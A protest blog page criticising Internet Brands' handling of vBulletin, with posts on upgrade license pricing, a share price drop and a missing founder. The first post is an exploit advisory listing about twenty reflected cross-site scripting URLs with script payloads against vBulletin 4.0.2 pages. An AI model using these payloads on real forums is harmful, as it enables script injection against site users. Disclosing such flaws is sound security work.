vBTruth | Shining Light on Internet Brand's Disaster

TAG | Internet Brands

Vendor: Internet Brands (NASDAQ: INET)
Product: vBulletin 4 Forum, vBulletin 4 Suite
Version: 4.0.2
Vector of Attack: Cross Site Scripting
Source: Inje3ct0rvBulletin.com

Details:

# Exploit  :
http://127.0.0.1/upload/calendar.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/faq.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/forum.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/usercp.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/subscription.php?
acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/showthread.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/showgroups.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/sendmessage.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/search.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/register.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/profile.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/private.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/online.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/newthread.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/misc.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/memberlist.php?=>”‘><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/member.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/inlinemod.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/index.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/forumdisplay.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
Additional vulnerabilities found by vBulletin Forum Members
http://127.0.0.1/upload/content.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/blog.php/>”><ScRiPt>alert(213771818860)</ScRiPt>

, , , Hide

Highway Robbery

I was tutoring this weekend and I helped an 11th grade high school student with US History.  He pointed out to me that history is useless, but I retorted that if we never learn from history, history has a tendency to repeat itself. That gave me reason to pause as I thought how that very logic applies to our scenario. Internet Brands did this once to us, what’s not to say they will do it again?

Let’s face the truth. I got my credit card bill last week, and it’s simply highway robbery. I cringed at the fact I had to pay just to do an upgrade. Sure $130.00 doesn’t seem much, but when you combine the fact that our license was suppose to be worth $160.00 (or $180.00 for others), we’re still paying more than $235.00 for a brand new license! What Internet Brands is making us pay is simply highway robbery. I don’t know how else to put it.

I don’t see ANY reason at all to justify existing license holders paying more. Essentially we’re being told to just pony up money for a brand new license. Forget what Internet Brands has told you; it’s merely a ploy, a cover. It’s purely marketing. Rip off all the marketing, and you’ll see is that we’re paying for a brand new license.

As existing Legacy vBulletin license holders, we’re treated as second rate citizens. We’re not important to them. Our wallets are more important to them. What’s not to say this is to happen again when vBulletin 5 arrives on the horizon?

We’re stuck holding a useless, absolutely pointless license vBulletin 3 license. After our license expires per-se, no more updates.  No more security patches. Once vBulletin 4 goes into full swing, vBulletin 3 citizens are treated as the scorn of the earth. Internet Brands manipulated us using fear tactics so that we’d buy licenses.

I really sympathize with those who bought vBulletin licenses really late in the game before vBulletin 4 was announced. Anyone who bought a license merely hours or days before vBulletin 4 got announced feel the real wrath. They bought a license only to have it invalidated and ripped from their hands minutes later.

Yet when they protest that they’ve been scammed, they’re told to upgrade to the latest vBulletin 4 License by paying even more? Any more protests, and you have threads closed. Has anyone checked out Pre-Sales recently? There are several threads in which customers point out that they don’t treat customers well.

Has anyone at Internet Brands done the math? We’re paying MORE for upgrading to a vBulletin 4 license than brand new vBulletin 4 license holders. Where’s the justice? Where’s the respect? More importantly, where’s the loyalty to your existing customer base that made vBulletin so successful? If they’re treating customers like this, as a shareholder, stakeholder or investors I’d wonder how Internet Brands may very well treat me in the future.

Let’s face it. vBulletin 3 license holders have been screwed over. If history has anything to say, it’s that it’s going to happen again.

, Hide

Oct/09

30

IB shares plummet

Today marked a gloomy event for investors in IB.

IB currently does not pay dividends to its investors, and their low share pricing is an obvious reflection of the distasteful reactions of vBulletin Customers.

deuterium, (formerly ct2k7) as we gather, posted in our infamous Licensed Customer Feedback section, you know… the hidden from potential customer … area, in the thread, pertaining the original article by The Register about the share falling.

Floris replied moments later, refering to deuterium by his first name, explaining that this was common ( or realistic) with the release of the Q3 2009 financial results.

In some cases this was true, but obviously, a drop of nearly 12% was something out of the ordinary. It was nearly enough to warrant its little space on Yahoo!’s Biggest Losers page.

Those using the Google finance page to track the shares will have noticed the amount of publicity Internet Brands is gaining from its treatment of its customers, something which is personally thought to be a major role in this, as investors see what’s going on behind closed doors.

, , , Hide

Oct/09

18

So where IS James?

Ever since Internet Brands bought Jelsoft Enterprises Ltd in 2007, the activity of James has been dwindling.James has not posted or even logged into the vBulletin forums (no last activity recorded) since January of this year. In April of this year, one member sifted through some documents from the Companies House, suggesting that James had quit his role. vBulletin Staff insisted that James “was very much with us” prior to closing the thread.

Right now, the support staff are bearing the backlash from the customers, but where is James? Is it true that he has retired completely from Jelsoft?

There are many question unanswered, and Internet Brands wants them to remain unaswered.

, , Hide

Find it!

Theme Design by devolux.org